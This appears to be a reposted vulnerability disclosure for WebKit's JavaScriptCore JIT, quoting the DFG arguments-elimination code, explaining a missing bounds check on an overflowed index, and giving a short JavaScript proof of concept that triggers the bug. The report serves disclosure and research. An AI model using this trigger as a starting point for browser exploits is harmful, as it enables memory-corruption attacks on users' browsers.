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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234